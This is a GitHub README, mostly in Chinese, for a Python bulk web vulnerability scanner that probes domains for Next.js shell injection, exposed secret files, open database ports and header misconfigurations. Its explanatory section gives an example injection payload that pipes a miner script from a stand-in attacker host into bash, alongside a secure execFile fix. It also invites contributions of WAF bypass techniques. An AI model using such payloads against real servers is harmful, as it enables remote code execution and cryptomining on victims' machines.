AbdulAhadQSol/WebVulnScanner

GitHub: AbdulAhadQSol/WebVulnScanner

轻量级Web漏洞扫描器,支持大规模资产批量检测Shell注入、敏感文件暴露、开放端口等问题,具备断点续扫和智能误报过滤能力。

Stars: 1 | Forks: 0

# 🔍 WebVulnScanner ![Python](https://img.shields.io/badge/Python-3.8+-blue?style=flat-square&logo=python) ![Platform](https://img.shields.io/badge/Platform-Linux%20%7C%20macOS-lightgrey?style=flat-square) ![License](https://img.shields.io/badge/License-MIT-green?style=flat-square) ![Scale](https://img.shields.io/badge/Scale-350M%2B%20sites-red?style=flat-square) ## 🧠 这是什么? 在测试我基于 Next.js 和 Docker 构建的 **vibecoded 项目** 时,我在大多数 **React2Shell** 网站中发现了一个关键漏洞。它允许未经无害化处理的用户输入直接传递给 Node.js shell 命令,从而导致远程代码执行。 我需要一个能够满足以下条件的工具: - 在低端配置下扫描域名而不崩溃 - 检测 React2Shell 和其他真实世界的漏洞 - 中断后自动恢复 - 对停放页面永不产生误报 所以我构建了一个。 ## ⚡ 功能特性 - 🐚 **React2Shell / Shell 注入** — 向常见的 Next.js API 路由发送金丝雀 payload 并检测真实执行情况 - 🔐 **SSL/TLS 分析** — 证书过期、即将过期、验证失败 - 🚪 **危险开放端口** — MySQL, PostgreSQL, Redis, MongoDB, FTP, Telnet, 开发服务器 - 📄 **敏感文件暴露** — `.env`, `.git/config`, `docker-compose.yml`, `package.json`,具备 *内容验证* — 不仅仅是 HTTP 200 - 🌐 **CORS 错误配置** — 通配符 `Access-Control-Allow-Origin: *` - 🛡️ **安全头审计** — HSTS, CSP, X-Frame-Options, Referrer-Policy 等 - 🅿️ **零误报** — 针对停放/通配符服务器,内置金丝雀路径检测 - ♻️ **自动去重** — 相同 URL 永不重复扫描 - 💾 **自动恢复** — 每扫描 1,000 个 URL 保存一次进度,从中断处精确继续 ## 🚀 安装说明 ``` git clone https://github.com/YOUR_USERNAME/WebVulnScanner.git cd WebVulnScanner pip install requests ``` ## 📖 使用方法 **基本扫描:** ``` python3 vuln_scanner.py "/path/to/domains.txt" ``` **推荐用于大型列表:** ``` python3 vuln_scanner.py "/path/to/domains.txt" --threads 35 --timeout 3 --skip-timing ``` **Ctrl+C 后恢复 — 只需运行相同的命令:** ``` python3 vuln_scanner.py "/path/to/domains.txt" --threads 35 --timeout 3 --skip-timing ``` **清除之前的结果并重新开始:** ``` python3 vuln_scanner.py "/path/to/domains.txt" --fresh --threads 35 --timeout 3 --skip-timing ``` ## 🔧 参数说明 | 参数 | 默认值 | 描述 | |---|---|---| | `input` | *必需* | 文本文件路径 — 每行一个 URL 或域名 | | `--output` | `vulnerable_sites.txt` | 输出文件名前缀 | | `--threads` | `6` | 并行工作线程数 | | `--timeout` | `10` | 单个请求的超时时间(秒) | | `--resume` | 关 | 显式从保存的进度恢复 | | `--fresh` | 关 | 删除所有以前的结果并从第 1 行开始 | | `--skip-timing` | 关 | 跳过缓慢的基于时间的 shell 检查 | ## 📁 输出文件 | 文件 | 内容 | |---|---| | `vulnerable_sites.txt` | ⚠️ 易受攻击 URL 的干净列表 — 每行一个 | | `vulnerable_sites_details.txt` | 📋 每个网站发现问题的完整细分 | | `vulnerable_sites_warnings.txt` | 🟡 有警告但无关键漏洞的网站 | | `vulnerable_sites_scan.log` | 🗂️ 每个扫描网站的完整时间戳日志 | **`_details.txt` 中的输出示例:** ``` ============================================================ URL: https://example-client.com SCANNED: 2026-03-03 15:55:11 [HIGH] Shell injection (React2Shell) at /api/convert?file= [HIGH] Port 3306 open — MySQL exposed to internet [HIGH] Port 6379 open — Redis exposed (often no auth) [HIGH] Exposed /.env — DATABASE_URL=postgres://admin:s3cr3t@... [WARN] SSL cert expires in 12 days [WARN] Missing security headers: Strict-Transport-Security, CSP [INFO] Server: nginx/1.24.0 [INFO] X-Powered-By: Express ============================================================ ``` ## 🧩 工作原理 ``` Input file (streaming, line by line) │ ▼ URL Normalizer + Deduplicator │ ▼ Work Queue (bounded — 400 items max) │ ┌────┴────┐ │ Workers │ × N threads └────┬────┘ │ Each worker runs: │ 1. Reachability check │ 2. SSL certificate check │ 3. Security headers + CORS check │ 4. Open port scan │ 5. Sensitive file check (wildcard detection + content validation) │ 6. Shell injection — React2Shell canary ▼ Result Queue (bounded) │ ▼ Writer Thread — appends to disk instantly, never buffers ``` ## 🛡️ 误报预防 **问题:** 停放/通配符服务器对 *每个* 路径都返回 HTTP 200 — 包括 `/.env`、`/.git/config` 等 — 这导致简单的扫描器标记数千个误报。 **解决方案 — 三层验证:** **1. 金丝雀路径检测** 在检查任何敏感路径之前,向一个随机 14 字符的路径(该路径 *不应该* 存在)发送请求。如果服务器为此返回 200 HTML,则它是通配符服务器 — 完全跳过文件检查。 **2. 内容指纹识别** | 文件 | 必须实际包含 | |---|---| | `/.env` | 带大写键的 `KEY=VALUE` 模式 | | `/.git/config` | `[core]` 或 `[remote` 部分 | | `/.git/HEAD` | `ref:` 前缀或 40 字符十六进制提交哈希 | | `/docker-compose.yml` | `services:` 关键字 | | `/package.json` | 同时包含 `"name"` 和 `"version"` 键 | | `/api/config` | 有效 JSON 对象 `{...}`,而非 HTML | **3. 动态金丝雀字符串** Shell 注入金丝雀在 *运行时随机生成* — 永远不会出现两次相同的字符串 — 因此服务器管理员无法将其硬编码到响应中以逃避检测。 ## 🐚 什么是 React2Shell? React2Shell 是 Next.js/Node.js 应用程序中的一类关键漏洞,其中用户输入在未经无害化处理的情况下到达 `child_process.exec()`: **❌ 易受攻击的代码:** ``` import { exec } from 'child_process'; export default function handler(req, res) { const { file } = req.query; // Attacker sends: ?file=;curl+evil.com/miner.sh|bash exec(`convert ${file} output.png`, (err, stdout) => { res.json({ result: stdout }); }); } ``` 攻击者发送 `?file=;curl+attacker.com/miner.sh|bash` 并在你的服务器上获得 **完全的远程代码执行**。这就是加密货币矿工、后门和数据渗出 payload 被安装在配置错误的 Docker 容器上的方式。 **✅ 安全版本:** ``` import { execFile } from 'child_process'; export default function handler(req, res) { const { file } = req.query; // Args passed as array — no shell interpolation possible execFile('convert', [file, 'output.png'], (err, stdout) => { res.json({ result: stdout }); }); } ``` ## 💡 为什么它不会崩溃 大多数扫描器在处理大量输入时会崩溃,因为它们将所有内容加载到 RAM 中。而这个不会: - **流式 I/O** — 一次读取一个 URL,文件从不加载到内存中 - **有界队列** — 工作队列上限为 400 项,自然背压防止内存失控 - **即时磁盘写入** — 专用写入器线程,设置 `buffering=1`,内存中不保留任何内容 - **进度检查点** — 每 1,000 个 URL 保存一次行位置,中断时精确恢复 - **显式 GC** — 每次站点扫描后调用 `gc.collect()` - **带刷新的去重** — 已见 URL 集合上限为 200 万条目,随后刷新 ## 🤝 参与贡献 欢迎提交 Pull Request。可改进的领域: - Shell 注入探测的 WAF 绕过技术 - 额外的 Next.js 特定检查 *(中间件配置错误、通过 `next.config.js` 重写的 SSRF)* - 速率限制 / 礼貌延迟选项 - JSON 和 CSV 输出格式 - 发现关键结果时的 Webhook 通知 ## ⚖️ 法律免责声明
标签:API密钥检测, CISA项目, CORS跨域, Next.js安全, Node.js安全, Python安全工具, React2Shell, Shell注入, SSL/TLS分析, Web漏洞扫描器, 图计算, 字符串匹配, 安全头审计, 插件系统, 敏感文件泄露, 数据统计, 文件查看, 断点续扫, 端口扫描, 编程工具, 网络安全, 足迹分析, 输入验证, 远程代码执行, 逆向工具, 配置错误检测, 防御框架, 隐私保护